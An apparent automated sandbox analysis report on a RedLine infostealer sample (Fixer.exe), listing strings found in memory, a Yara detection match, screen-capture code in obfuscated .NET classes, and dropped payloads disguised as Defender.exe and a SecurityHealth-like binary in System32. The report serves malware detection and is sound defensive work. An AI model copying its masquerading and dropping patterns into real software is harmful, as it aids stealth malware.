Source: Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14V
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002E01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000003024000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002DE7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002E87000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002DEB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002BA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002C36000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52600457326.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9ResponseD
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe, 00000002.00000002.52841079355.0000000002D28000.00000004.00000800.00020000.00000000.sdmp, 6z9uno0baqvej0me.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: FixerNerest.exe, 00000003.00000002.52862644095.000000001BE57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirm
Source: 6z9uno0baqvej0me.exe, 00000002.00000002.52856212336.000000001B4F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/odirmC:
Source: Fixer.exe	String found in binary or memory: https://api.ip.sb/ip
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, FixerNerest.exe, 00000003.00000002.52853936146.0000000002D37000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab0
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: Fixer.exe, 00000000.00000002.52600457326.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, Defender.exe.3.dr, FixerNerest.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: Fixer.exe, 00000000.00000002.52603430679.0000000003E84000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003BDF000.00000004.00000800.00020000.00000000.sdmp, Fixer.exe, 00000000.00000002.52603430679.0000000003F00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture screen (.Net source)

Source: 6z9uno0baqvej0me.exe.0.dr, BeNEQBpvCUYMUQvO.cs	.Net Code: kgykxlqrmnxrTJvFK
Source: FixerNerest.exe.0.dr, QEEFRJhvySTxMB.cs	.Net Code: zZqXIBvmIbEvDhSnLgO
Source: xdwdSecurityHealthSystrays.exe.2.dr, BeNEQBpvCUYMUQvO.cs	.Net Code: kgykxlqrmnxrTJvFK
Source: Defender.exe.3.dr, QEEFRJhvySTxMB.cs	.Net Code: zZqXIBvmIbEvDhSnLgO

System Summary

Malicious sample detected (through community Yara rule)

Source: Fixer.exe, type: SAMPLE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io
Source: 0.0.Fixer.exe.670000.0.unpack, type: UNPACKEDPE	Matched rule: Finds Redline samples based on characteristic strings Author: Sekoia.io

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File dump: xdwdSecurityHealthSystrays.exe.2.dr 735522883			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	File dump: Defender.exe.3.dr 753276147			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CD080 NtProtectVirtualMemory,	2_2_00007FFA1B3CD080
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3E17CD NtProtectVirtualMemory,	3_2_00007FFA1B3E17CD
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3AD080 NtProtectVirtualMemory,	13_2_00007FFA1B3AD080
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3AD080 NtProtectVirtualMemory,	19_2_00007FFA1B3AD080
Source: C:\Windows\System32\Defender.exe	Code function: 20_2_00007FFA1B3D17CD NtProtectVirtualMemory,	20_2_00007FFA1B3D17CD
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 21_2_00007FFA1B3AD080 NtProtectVirtualMemory,	21_2_00007FFA1B3AD080
Source: C:\Windows\System32\Defender.exe	Code function: 22_2_00007FFA1B3A17CD NtProtectVirtualMemory,	22_2_00007FFA1B3A17CD
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 23_2_00007FFA1B3DD080 NtProtectVirtualMemory,	23_2_00007FFA1B3DD080
Source: C:\Windows\System32\Defender.exe	Code function: 24_2_00007FFA1B3B17CD NtProtectVirtualMemory,	24_2_00007FFA1B3B17CD

Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File created: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	File created: C:\Windows\xdwd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	File created: C:\Windows\System32\Defender.exe	Jump to behavior

Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_029CDD44	0_2_029CDD44
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623ADB8	0_2_0623ADB8
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623DBD8	0_2_0623DBD8
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_06235790	0_2_06235790
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623E4E1	0_2_0623E4E1
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623E4F0	0_2_0623E4F0
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_062393A0	0_2_062393A0
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623ADA8	0_2_0623ADA8
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_0623DBC8	0_2_0623DBC8
Source: C:\Users\user\Desktop\Fixer.exe	Code function: 0_2_062398B8	0_2_062398B8
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CC832	2_2_00007FFA1B3CC832
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3D1C8C	2_2_00007FFA1B3D1C8C
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CD078	2_2_00007FFA1B3CD078
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CEB04	2_2_00007FFA1B3CEB04
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3C7F30	2_2_00007FFA1B3C7F30
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CBA86	2_2_00007FFA1B3CBA86
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3D5A7F	2_2_00007FFA1B3D5A7F
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CE28E	2_2_00007FFA1B3CE28E
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3D0A47	2_2_00007FFA1B3D0A47
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3D2679	2_2_00007FFA1B3D2679
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CDD20	2_2_00007FFA1B3CDD20
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3C5180	2_2_00007FFA1B3C5180
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3C03D8	2_2_00007FFA1B3C03D8
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3D275F	2_2_00007FFA1B3D275F
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3D1DD7	2_2_00007FFA1B3D1DD7
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3CDCE9	2_2_00007FFA1B3CDCE9
Source: C:\Users\user\AppData\Local\Temp\6z9uno0baqvej0me.exe	Code function: 2_2_00007FFA1B3C0D6D	2_2_00007FFA1B3C0D6D
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3E23FB	3_2_00007FFA1B3E23FB
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3E242B	3_2_00007FFA1B3E242B
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3DC7E6	3_2_00007FFA1B3DC7E6
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3D82DB	3_2_00007FFA1B3D82DB
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3DD592	3_2_00007FFA1B3DD592
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3DED49	3_2_00007FFA1B3DED49
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3E2436	3_2_00007FFA1B3E2436
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3E23C2	3_2_00007FFA1B3E23C2
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3E23ED	3_2_00007FFA1B3E23ED
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3D6058	3_2_00007FFA1B3D6058
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3D5228	3_2_00007FFA1B3D5228
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3D8E30	3_2_00007FFA1B3D8E30
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3E29E7	3_2_00007FFA1B3E29E7
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3D55DA	3_2_00007FFA1B3D55DA
Source: C:\Users\user\AppData\Local\Temp\FixerNerest.exe	Code function: 3_2_00007FFA1B3DF980	3_2_00007FFA1B3DF980
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B1C8C	13_2_00007FFA1B3B1C8C
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3AC8B1	13_2_00007FFA1B3AC8B1
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3AD078	13_2_00007FFA1B3AD078
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3AEB04	13_2_00007FFA1B3AEB04
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3ABB01	13_2_00007FFA1B3ABB01
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A7F30	13_2_00007FFA1B3A7F30
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A6220	13_2_00007FFA1B3A6220
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B0A97	13_2_00007FFA1B3B0A97
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3AE28E	13_2_00007FFA1B3AE28E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B2679	13_2_00007FFA1B3B2679
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B351D	13_2_00007FFA1B3B351D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3ADD20	13_2_00007FFA1B3ADD20
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B3531	13_2_00007FFA1B3B3531
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A5180	13_2_00007FFA1B3A5180
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A03D8	13_2_00007FFA1B3A03D8
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A033B	13_2_00007FFA1B3A033B
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B275F	13_2_00007FFA1B3B275F
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B1DD7	13_2_00007FFA1B3B1DD7
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B3E9E	13_2_00007FFA1B3B3E9E
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3B410F	13_2_00007FFA1B3B410F
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3ADCE9	13_2_00007FFA1B3ADCE9
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 13_2_00007FFA1B3A0D6D	13_2_00007FFA1B3A0D6D
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3A6220	19_2_00007FFA1B3A6220
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3AC832	19_2_00007FFA1B3AC832
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3ABA86	19_2_00007FFA1B3ABA86
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3B1C8C	19_2_00007FFA1B3B1C8C
Source: C:\Windows\System32\xdwdSecurityHealthSystrays.exe	Code function: 19_2_00007FFA1B3AE28E	19_2_00007FFA1B3AE28E
